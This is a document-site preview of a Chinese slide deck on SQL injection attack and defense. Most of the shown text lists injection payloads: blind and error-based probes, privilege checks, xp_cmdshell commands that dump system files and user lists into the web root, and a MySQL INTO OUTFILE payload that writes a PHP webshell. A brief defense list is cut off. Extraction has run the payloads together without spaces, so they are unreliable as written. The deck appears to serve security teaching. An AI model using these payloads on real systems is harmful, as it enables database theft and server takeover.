SQL注入攻擊與防御_第1頁
SQL注入攻擊與防御_第2頁
SQL注入攻擊與防御_第3頁
SQL注入攻擊與防御_第4頁
SQL注入攻擊與防御_第5頁
已閱讀5頁,還剩17頁未讀, 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

SQL注入攻擊與防御SQL注入圖像、語音、文字等數據(Data)在計算機系統中,各種字母、數字符號的組合、語音、圖形、圖像等統稱為數據。Access、MSSQL、Oracle、SQLITE、MySQL等數據庫(Database)數據庫是按照數據結構來組織、存儲和管理數據的“倉庫”。Access、MSSQL、Oracle、SQLITE、MySQL等數據庫管理系統(DBMS)數據庫管理系統(databasemanagementsystem)是一種操縱和管理數據庫的軟件,用于建立、使用和維護數據庫。它對數據庫進行統一的管理和控制,以保證數據庫的安全性和完整性。DQL、DDL、DML、TCL、DCL結構化查詢語言(SQL)結構化查詢語言(StructuredQueryLanguage)簡稱SQL,結構化查詢語言是一種數據庫查詢和程序設計語言,用于存取數據以及查詢、更新和管理關系數據庫系統。SQL注入這是一個Access數據庫SQL注入靜態網頁:

html或者htm,是一種靜態的頁面格式,不需要服務器解析其中的腳本。由瀏覽器如(IE、Chrome等)解析。1.不依賴數據庫2.靈活性差,制作、更新、維護麻煩3.交互性交差,在功能方面有較大的限制4.安全,不存在SQL注入漏洞動態網頁:

asp、aspx、php、jsp等,由相應的腳本引擎來解釋執行,根據指令生成靜態網頁。1.依賴數據庫2.靈活性好,維護簡便3.交互性好,功能強大4.存在安全風險,可能存在SQL注入漏洞SQL注入漏洞介紹

由于程序中對用戶輸入檢查不嚴格,用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQLInjection,即SQL注入。原因分析

其本質是由于對輸入檢查不充分,導致SQL語句將用戶提交的非法數據當作語句的一部分來執行。SQL注入SQL注入分類:按提交字符類型可分為:數字型

字符型

搜索型按HTTP提交方式可分為:GET、POST、Cookie按注入方式可分為:盲注、

union注入、報錯注入、基于時間注入編碼問題:寬字節注入SQL注入如何判斷?1.單引號判斷2.數字型注入判斷①and1=1and1=2and1isnulland1isnotnullanduser>0②參數進行運算+1-1'+'→'%2B'3.字符型注入判斷①'and'1'='1'and'1'='24.搜索型注入判斷①test%'and1=1and'%'='test%'and1=2and'%'='SQL注入如何攻擊?Access→盲注andexists(select*fromtable)andexists(selectcolumnfromtable)and(selecttop1len(id)fromadmin)>0and(selecttop1asc(mid(id,1,1))fromadmin)>X無差異→構造差異andiif((1=1),2,'a')=2andiif((1=2),2,'a')=2SQL注入SqlServer注入→三種權限①SA權限可以利用MsSQL數據庫自帶的擴展存儲(如:xp_cmdshell、xp_regwrite、sp_oacreate等)執行系統命令。②DB_OWNER權限具有對當前數據庫的修改、刪除、新增數據表以及執行xp_regread、xp_dirtree等部分存儲過程的權限。差異備份獲取Webshell。③PUBLIC權限權限最小,通常通過報錯注入,盲注,從而獲得后臺管理員帳號密碼。SQL注入如何判斷權限?1.有錯誤回顯①anduser>0

2.無錯誤回顯①and1=(selectis_member('dbo'))//網頁返回正常,說明數據庫管理權限為sa②and1=(selectis_member('db_owner'))//網頁返回正常,說明數據庫管理權限為db_owner③and1=(selectis_member('public'))//網頁返回正常,說明數據庫管理權限為publicSQL注入SqlServer→盲注andexists(select*fromtable)andexists(selectcolumnfromtable)and(selecttop1len(id)fromadmin)>0and(selecttop1ascii(substring(password,1,1))fromadmin)>XSQL注入SqlServer→報錯當前數據庫有哪些表and(selecttop1namefromsysobjects)=1and(selecttop1namefromsysobjectswherenamenotin('admin','bigclass'))=1表中的字段and(selecttop1col_name(object_id('admin'),1)fromsysobjects)=1字段的值and(selecttop1passwordfromadmin)=1SQL注入SqlServer(sa權限)→關閉錯誤提示獲取Web路徑①win2003execmaster..xp_cmdshell'copyC:\Windows\system32\inetsrv\MetaBase.xmlC:\Windows\Help\iisHelp\common\404.html'--②win2000execmaster..xp_cmdshell'copyC:\Winnt\system32\inetsrv\MetaBase.xmlC:\Winnt\Help\iisHelp\common\404.html'--SQL注入SqlServer(sa權限)→關閉錯誤提示執行命令得到回顯①win2003execmaster..xp_cmdshell'netuser>C:\Inetpub\wwwroot\cmd.txt'--②win2000execmaster..xp_cmdshell'netuser>C:\Inetpub\wwwroot\cmd.txt--SQL注入MySQL注入獲取查詢的字段數→orderbyN數據庫名→and1=2unionselect1,SCHEMA_NAMEfrominformation_schema.SCHEMATAlimitN,1表名→and1=2unionselect1,TABLE_NAMEfrominformation_schema.TABLESwhereTABLE_SCHEMA=庫HEX值limitN,1字段→and1=2unionselect1,COLUMN_NAMEfrominformation_schema.COLUMNSwhereTABLE_NAME=表名HEX值limitN,1連接字段→group_concat()SQL注入MySQL通用報錯and(select1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)%23SQL注入MySQL寫文件①必須知道網站的絕對路徑,這樣才能寫對目錄;②Mysql的版本在4.0以上,才能使用union進行聯合查詢;③PHP配置文件php.ini中的magic_quotes_gpc=off,沒有對單引號進行過濾;④Mysql數據庫當前用戶擁有file_priv權限;⑤“Network”組的用戶對網站目錄有寫權(windows操作系統下網站目錄一般都具有該權限)。SQL注入MySQL寫文件/test.php?id=6and1=2unionselect1,2,'<?phpsystem($_REQUEST[cmd]);?>',4,5,6intooutfile'C:/apache/htdocs/site/shell.php'導出shell的新方式,不需要union協助select*fromtablelimit1intooutfile"d:/test.txt"linesterminatedby"<?phpeval($cmd)?>"SQL注入自動化注入工具→SqlMapSQL注入自動化注入工具→PangolinSQL注入如何防范?①對進入數據庫的特殊字符('"\尖括號&*;等)進行轉義處理,或編碼轉換。②嚴格限制變量類型,比如整型變量就采用intval()函數過濾,數據庫中的存儲字段必須對應為int型。③數據長度應該嚴格規

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論